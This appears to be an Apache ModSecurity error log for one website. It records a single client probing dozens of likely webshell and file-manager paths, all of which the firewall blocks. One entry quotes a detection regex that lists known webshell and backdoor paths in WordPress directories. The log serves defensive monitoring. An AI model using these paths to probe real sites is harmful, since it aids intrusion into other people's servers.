[Sat Apr 18 06:19:38.606035 2026] [:error] [pid 9864:tid 9915] [client 20.203.143.130:6022] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny"] [unique_id "aeKx-oCFeowknfXHM7k-ZgAAAEk"]
[Sat Apr 18 06:19:39.176799 2026] [:error] [pid 13023:tid 13029] [client 20.203.143.130:6114] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny"] [unique_id "aeKx-_1e7hG8DAeABB_8KgAAAQQ"]
[Sat Apr 18 06:19:39.818836 2026] [:error] [pid 9863:tid 9890] [client 20.203.143.130:6016] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny"] [unique_id "aeKx-zjjiypiFrTucbIVhgAAABE"]
[Sat Apr 18 06:19:40.508576 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:6053] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aeKx_CYdRLRhVmaIMx3YLQAAAMk"]
[Sat Apr 18 06:19:41.151649 2026] [:error] [pid 9970:tid 9987] [client 20.203.143.130:6096] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeKx_SYdRLRhVmaIMx3YMAAAAM0"]
[Sat Apr 18 06:19:41.854282 2026] [:error] [pid 9864:tid 9930] [client 20.203.143.130:6111] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeKx_YCFeowknfXHM7k-awAAAFg"]
[Sat Apr 18 06:19:42.453978 2026] [:error] [pid 9864:tid 9919] [client 20.203.143.130:6103] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeKx_oCFeowknfXHM7k-bwAAAE0"]
[Sat Apr 18 06:19:43.169008 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:6123] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "aeKx_yYdRLRhVmaIMx3YOQAAAMI"]
[Sat Apr 18 06:19:44.015664 2026] [:error] [pid 9865:tid 9958] [client 20.203.143.130:18158] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeKyAKzb5knECIY-C-i0QwAAAJU"]
[Sat Apr 18 06:19:44.551833 2026] [:error] [pid 9864:tid 9916] [client 20.203.143.130:18145] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeKyAICFeowknfXHM7k-dQAAAEo"]
[Sat Apr 18 06:19:45.355483 2026] [:error] [pid 9970:tid 9977] [client 20.203.143.130:18166] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeKyASYdRLRhVmaIMx3YQwAAAMM"]
[Sat Apr 18 06:19:46.279097 2026] [:error] [pid 9865:tid 9959] [client 20.203.143.130:18112] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeKyAqzb5knECIY-C-i0RgAAAJY"]
[Sat Apr 18 06:19:54.902954 2026] [:error] [pid 9970:tid 9998] [client 20.203.143.130:6086] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKyCiYdRLRhVmaIMx3YZAAAANg"]
[Sat Apr 18 06:19:55.438203 2026] [:error] [pid 13023:tid 13036] [client 20.203.143.130:5962] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKyC_1e7hG8DAeABB_8YQAAAQs"]
[Sat Apr 18 06:19:56.023479 2026] [:error] [pid 13023:tid 13041] [client 20.203.143.130:6108] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKyDP1e7hG8DAeABB_8ZQAAARA"]
[Sat Apr 18 06:19:56.574741 2026] [:error] [pid 13023:tid 13026] [client 20.203.143.130:6139] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKyDP1e7hG8DAeABB_8bAAAAQE"]
[Sat Apr 18 06:19:57.064061 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6131] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKyDf1e7hG8DAeABB_8cAAAAQU"]
[Sat Apr 18 06:19:57.693069 2026] [:error] [pid 13023:tid 13037] [client 20.203.143.130:18127] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKyDf1e7hG8DAeABB_8cwAAAQw"]
[Sat Apr 18 06:19:58.318390 2026] [:error] [pid 9970:tid 9977] [client 20.203.143.130:6092] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKyDiYdRLRhVmaIMx3YbgAAAMM"]
[Sat Apr 18 06:19:58.979795 2026] [:error] [pid 13023:tid 13027] [client 20.203.143.130:18171] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aeKyDv1e7hG8DAeABB_8egAAAQI"]
[Sat Apr 18 06:19:59.747096 2026] [:error] [pid 13023:tid 13041] [client 20.203.143.130:6018] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeKyD_1e7hG8DAeABB_8fwAAARA"]
[Sat Apr 18 06:20:00.352579 2026] [:error] [pid 13023:tid 13030] [client 20.203.143.130:6033] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeKyEP1e7hG8DAeABB_8iAAAAQU"]
[Sat Apr 18 06:20:00.972364 2026] [:error] [pid 9970:tid 9979] [client 20.203.143.130:6075] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeKyECYdRLRhVmaIMx3YdgAAAMU"]
[Sat Apr 18 06:20:01.563896 2026] [:error] [pid 13023:tid 13027] [client 20.203.143.130:6132] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aeKyEf1e7hG8DAeABB_8jgAAAQI"]
[Sat Apr 18 06:20:02.114253 2026] [:error] [pid 13023:tid 13032] [client 20.203.143.130:6120] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aeKyEv1e7hG8DAeABB_8lAAAAQc"]
[Sat Apr 18 06:20:02.827420 2026] [:error] [pid 9970:tid 9980] [client 20.203.143.130:6062] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aeKyEiYdRLRhVmaIMx3YdwAAAMY"]
[Sat Apr 18 06:20:03.551820 2026] [:error] [pid 9865:tid 9937] [client 20.203.143.130:6104] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aeKyE6zb5knECIY-C-i0WQAAAIA"]
[Sat Apr 18 06:20:04.216006 2026] [:error] [pid 9864:tid 9917] [client 20.203.143.130:6028] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "aeKyFICFeowknfXHM7k-fQAAAEs"]
[Sat Apr 18 06:20:04.802869 2026] [:error] [pid 9863:tid 9888] [client 20.203.143.130:18159] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aeKyFDjjiypiFrTucbIVjAAAAA8"]
[Sat Apr 18 06:20:05.805762 2026] [:error] [pid 9970:tid 9989] [client 20.203.143.130:6106] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aeKyFSYdRLRhVmaIMx3YhAAAAM8"]
[Sat Apr 18 06:20:06.333024 2026] [:error] [pid 9865:tid 9951] [client 20.203.143.130:6090] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aeKyFqzb5knECIY-C-i0XwAAAI4"]
[Sat Apr 18 06:20:06.919049 2026] [:error] [pid 13023:tid 13045] [client 20.203.143.130:6023] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "aeKyFv1e7hG8DAeABB_8mwAAARQ"]
[Sat Apr 18 06:20:07.821267 2026] [:error] [pid 9865:tid 9949] [client 20.203.143.130:18161] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeKyF6zb5knECIY-C-i0ZAAAAIw"]
[Sat Apr 18 06:20:08.357488 2026] [:error] [pid 9865:tid 9940] [client 20.203.143.130:18150] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeKyGKzb5knECIY-C-i0ZwAAAIM"]
[Sat Apr 18 06:20:08.981531 2026] [:error] [pid 9865:tid 9947] [client 20.203.143.130:18138] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeKyGKzb5knECIY-C-i0agAAAIo"]
[Sat Apr 18 06:20:09.551377 2026] [:error] [pid 9863:tid 9897] [client 20.203.143.130:18165] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aeKyGTjjiypiFrTucbIVlQAAABg"]
[Sat Apr 18 06:20:10.120389 2026] [:error] [pid 9863:tid 9878] [client 20.203.143.130:6126] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeKyGjjjiypiFrTucbIVlgAAAAU"]
[Sat Apr 18 06:20:10.639360 2026] [:error] [pid 9863:tid 9889] [client 20.203.143.130:6024] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeKyGjjjiypiFrTucbIVmAAAABA"]
[Sat Apr 18 06:20:11.146072 2026] [:error] [pid 13023:tid 13041] [client 20.203.143.130:6037] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeKyG_1e7hG8DAeABB_8owAAARA"]
[Sat Apr 18 06:20:11.671848 2026] [:error] [pid 13023:tid 13034] [client 20.203.143.130:18157] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aeKyG_1e7hG8DAeABB_8pwAAAQk"]
[Sat Apr 18 06:20:12.214030 2026] [:error] [pid 9863:tid 9876] [client 20.203.143.130:6050] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKyHDjjiypiFrTucbIVmgAAAAM"]
[Sat Apr 18 06:20:12.959333 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:6077] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKyHCYdRLRhVmaIMx3YiwAAAMk"]
[Sat Apr 18 06:20:13.592969 2026] [:error] [pid 13023:tid 13032] [client 20.203.143.130:18156] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKyHf1e7hG8DAeABB_8qwAAAQc"]
[Sat Apr 18 06:20:14.215767 2026] [:error] [pid 13023:tid 13044] [client 20.203.143.130:18130] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1s7y8wt9dz.php"] [unique_id "aeKyHv1e7hG8DAeABB_8sgAAARM"]
[Sat Apr 18 06:20:14.875945 2026] [:error] [pid 9864:tid 9926] [client 20.203.143.130:18117] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeKyHoCFeowknfXHM7k-hQAAAFQ"]
[Sat Apr 18 06:20:15.571176 2026] [:error] [pid 9970:tid 9986] [client 20.203.143.130:18136] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeKyHyYdRLRhVmaIMx3YkQAAAMw"]
[Sat Apr 18 06:20:16.144683 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:6029] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeKyICYdRLRhVmaIMx3YlAAAAME"]
[Sat Apr 18 06:20:17.088503 2026] [:error] [pid 9970:tid 9997] [client 20.203.143.130:6112] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bdktk.php"] [unique_id "aeKyISYdRLRhVmaIMx3YlgAAANc"]
[Sat Apr 18 06:20:17.918313 2026] [:error] [pid 13023:tid 13041] [client 20.203.143.130:6085] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v5.php"] [unique_id "aeKyIf1e7hG8DAeABB_8xQAAARA"]
[Sat Apr 18 06:20:18.673407 2026] [:error] [pid 9970:tid 9992] [client 20.203.143.130:6128] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v5.php"] [unique_id "aeKyIiYdRLRhVmaIMx3YnQAAANI"]
[Sat Apr 18 06:20:19.489968 2026] [:error] [pid 9865:tid 9946] [client 20.203.143.130:6051] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v5.php"] [unique_id "aeKyI6zb5knECIY-C-i0fwAAAIk"]
[Sat Apr 18 06:20:20.199350 2026] [:error] [pid 9864:tid 9912] [client 20.203.143.130:6081] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v5.php"] [unique_id "aeKyJICFeowknfXHM7k-jAAAAEY"]
[Sat Apr 18 06:20:20.756078 2026] [:error] [pid 9863:tid 9889] [client 20.203.143.130:6105] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeKyJDjjiypiFrTucbIVpAAAABA"]
[Sat Apr 18 06:20:21.365695 2026] [:error] [pid 9865:tid 9944] [client 20.203.143.130:18153] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeKyJazb5knECIY-C-i0hwAAAIc"]
[Sat Apr 18 06:20:22.135462 2026] [:error] [pid 9863:tid 9874] [client 20.203.143.130:6101] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "aeKyJjjjiypiFrTucbIVpgAAAAE"]
